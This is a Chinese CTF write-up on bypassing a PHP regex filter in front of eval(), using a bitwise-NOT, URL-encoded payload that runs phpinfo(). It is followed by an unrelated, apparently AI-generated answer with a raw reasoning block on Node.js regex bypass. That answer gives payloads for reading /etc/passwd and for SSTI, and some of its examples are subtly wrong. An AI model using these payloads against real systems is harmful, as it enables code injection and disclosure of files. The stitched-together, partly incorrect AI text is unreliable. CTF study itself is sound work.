CTF赛题PHP7 正则绕过

本文探讨了在CTF web竞赛中,如何通过PHP正则表达式绕过限制,利用动态构造函数名执行`phpinfo()`获取flag.php内容的解题策略。重点介绍了payload构造和编码技巧,以及后续获取flag的方法,包括利用`system()`函数和函数调用方式。

题目为ctf web中php正则绕过题

前言:由于长度限制,且不像其他题目告知flag.php的内容, 笔者并没有求出flag,绕过思路可参考,也欢迎ctf大佬指点迷津。

题目如下,解析flag.php中的flag变量

<?php
include("flag.php");
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>20){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}

解题思路

1.题目不告知flag.php的内容,所以唯一的办法只有打印出flag.php,先想办法绕过

2.因为_也在正则里面,所以 =${_GET}[_]();&_=phpinfo()没办法传入

3.尝试php7 中的($a)();来执行动态函数 例如 (‘phpinfo’)()

4.那么动态构造函数名称即可,可理解,假如你是:(1+1)(); php会先运算1+1=2 然后在调用:2();

5.借助大牛的payload (~%8F%97%8F%96%91%99%90)();成功执行

6.payload构造方式如下

<?php
$a = 'phpinfo';
$b=~$a;
echo ~$a;
echo "------";
echo urlencode($b);

** 如何理解? **
对执行的函数取反然后进行 urlencode 详细可自行科普

7.当前可执行phpinfo,如何获取flag.php的内容?思路继续扩展

  • a.使用php中的 system 或者exec 函数进行执行系统命令
  • b.弹shell? 绕不过长度限制
  • c.使用file()函数读取文件,需要联合var_dump或者print_r,绕不过长度

以上均是长度限制 笔者解题终于此

扩展 已经只flag.php文件的情况下 例如

<?php
	function getFlag(){
		$flag = "111111111111111111";
		echo $flag;
};
?>

那么只需要 执行getFlag()函数即可
('getFlag')();对flag进行编码

以上就是笔者对php绕过的小理解和内容分享

参考文章:http://www.ttk7.cn/post-121.html

欢迎讨论,持续更新中,感谢关注

<think>好的,我现在需要处理用户关于Node.js中正则表达式绕过CTF挑战的问。首先,我要回忆一下常见的正则表达式绕过技巧,尤其是与Node.js相关的特性。然后,结合用户提供的引用,特别是引用[4]中的SSTI注入示例,看看是否有相关点可以关联。 首先,用户提到了CTF中的正则绕过,可能需要了解Node.js处理正则的方式是否有特殊之处。比如,正则表达式的修饰符(如i、m、s)是否会影响匹配,或者某些字符的转义处理是否存在漏洞。例如,Node.js中的RegExp对象是否有全局匹配带来的状态问,可能导致绕过。 接下来,用户提供的引用[4]是关于SSTI注入的,其中使用了{{}}的模板语法。虽然这和正则绕过不同,但可能在某些CTF中,正则用于过滤输入,而绕过这些过滤才能执行类似SSTI的操作。因此,可能需要结合两者,比如如何绕过输入中的正则检查来注入模板代码。 常见的正则绕过方法包括:利用换行符、大小写绕过、编码绕过(如URL编码、Unicode)、多行匹配的问、贪婪匹配与非贪婪匹配的差异、以及正则表达式本身的逻辑错误。例如,如果正则表达式是^abc$,那么中间插入换行符可能绕过,或者使用类似ab c的字符串,如果正则没有考虑空格或换行的话。 在Node.js中,处理字符串输入时,可能涉及到不同的编码或解析方式。比如,某些特殊字符可能被转义,但如果正则表达式没有正确处理这些情况,可能导致绕过。另外,Node.js的某些全局变量或函数可能被利用,比如使用String.fromCharCode来构造绕过字符。 还要考虑用户输入的处理流程。例如,如果输入经过多次处理(如解码、替换),可能找到二次注入的机会。例如,先被URL解码,然后进行正则检查,这时候可以双重编码某些字符来绕过检查。 另外,引用[1]提到参数化查询,虽然与SQL注入相关,但思路类似,即避免直接拼接输入。但正则绕过更多是输入验证的绕过,所以需要关注如何构造输入使得正则不匹配,但实际执行时触发漏洞。 例如,假设目要求输入匹配某个正则,比如/^[a-z]+$/,但实际可以通过使用大写字母和i修饰符的缺失来绕过。或者,使用类似\n的字符,如果正则没有使用多行模式,那么^和$可能不会匹配整个字符串的正确起始和结束。 另一个例子是,当正则表达式使用.*或.+时,可能存在贪婪匹配的问,导致可以插入特定字符绕过。例如,如果过滤了<script>,但正则写的是/<script>/,那么使用<scr<script>ipt>可能会被过滤中间部分,但拼接后仍形成<script>。 在Node.js中,还要注意其正则引擎的特性,比如是否支持某些高级特性,如反向引用、零宽断言等,这些可能在构造Payload时用到。例如,利用正向预查或反向引用来绕过某些匹配。 另外,查看是否有非标准的正则表达式修饰符,比如s(dotAll模式),在Node.js中的支持情况,这可能会影响.是否匹配换行符,从而影响绕过方式。 总结可能的解决方案: 1. 分析目标正则表达式的模式,是否存在遗漏的字符范围或逻辑漏洞。 2. 利用编码或转义绕过,如使用URL编码、Unicode字符、十六进制表示等。 3. 利用换行符或其他空白字符干扰正则的起始和结束锚点。 4. 利用大小写转换,如果正则没有忽略大小写的修饰符。 5. 利用正则表达式的贪婪匹配特性,构造特殊Payload。 6. 检查是否有多次处理步骤,如解码后验证,从而构造双重编码的Payload。 7. 利用Node.js特有的全局对象或方法构造绕过,如使用String.fromCharCode拼接被过滤的关键字。 8. 测试正则表达式是否在多次匹配时状态残留,如使用/g修饰符导致lastIndex未重置的问。 接下来,结合用户提供的引用,特别是引用[4]中的SSTI注入,可能需要绕过对{{}}的过滤。例如,如果正则表达式试图过滤{{config...}},但可以通过插入换行或大小写变化来绕过。或者,使用JavaScript的字符串拼接技巧,比如{{co\u006Efig}}这样的Unicode转义。 例如,假设正则表达式试图阻止“config”关键字,但使用Unicode转码后的形式可能绕过。或者,利用Node.js的模板引擎特性,如不同分隔符或表达式语法。 最后,生成相关问需要考虑用户可能进一步想了解的内容,如具体实例、防御措施、相关工具等。</think>### Node.js正则表达式绕过CTF挑战解决方案 在CTF中,Node.js正则表达式绕过通常涉及利用正则匹配规则的漏洞或JavaScript特性。以下是常见方法及示例: #### 1. **利用大小写绕过** 若正则表达式未忽略大小写(缺少`i`修饰符),可用大小写混合绕过: ```javascript // 假设过滤条件为 /admin/i,但实际使用大小写混合如AdMiN payload = "AdMiN" ``` #### 2. **编码绕过** 使用URL编码、Unicode转义或十六进制表示绕过关键字检测: ```javascript // 过滤`require`,但使用Unicode转义: const m = "r\u0065quire"; // 等价于"require" ``` #### 3. **换行符干扰锚点** 若正则使用`^`和`$`但未启用多行模式(`m`修饰符),插入换行符可能绕过: ```javascript // 正则:/^admin$/ payload = "admi\nn" // 实际解析为"admi"和"n" ``` #### 4. **正则全局匹配状态残留** 当使用`/g`修饰符时,`lastIndex`属性可能导致匹配位置错误: ```javascript const reg = /test/g; reg.test("test"); // true,lastIndex=4 reg.test("test"); // false,从索引4开始匹配 ``` #### 5. **利用贪婪匹配** 若正则使用`.*`或`.+`,可能通过截断绕过: ```javascript // 过滤`<script>.*</script>`,但使用`<script><script>...</script>` payload = "<scr<script>ipt>alert(1)</script>" ``` #### 6. **Node.js特有方法拼接字符串** 使用`String.fromCharCode`或模板字符串绕过关键字检测: ```javascript // 过滤"fs.readFile",但动态拼接: const method = "readFile"; require("fs")[method]("/etc/passwd", ...); ``` #### 示例:绕过SSTI过滤(引用[4]) 假设目过滤`{{config}}`,但可通过以下方式绕过: ```python # 原Payload:{{config.__init__...}} # 使用Unicode转义绕过正则检测 payload = "{{co\u006Efig.__init__...}}" ``` --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值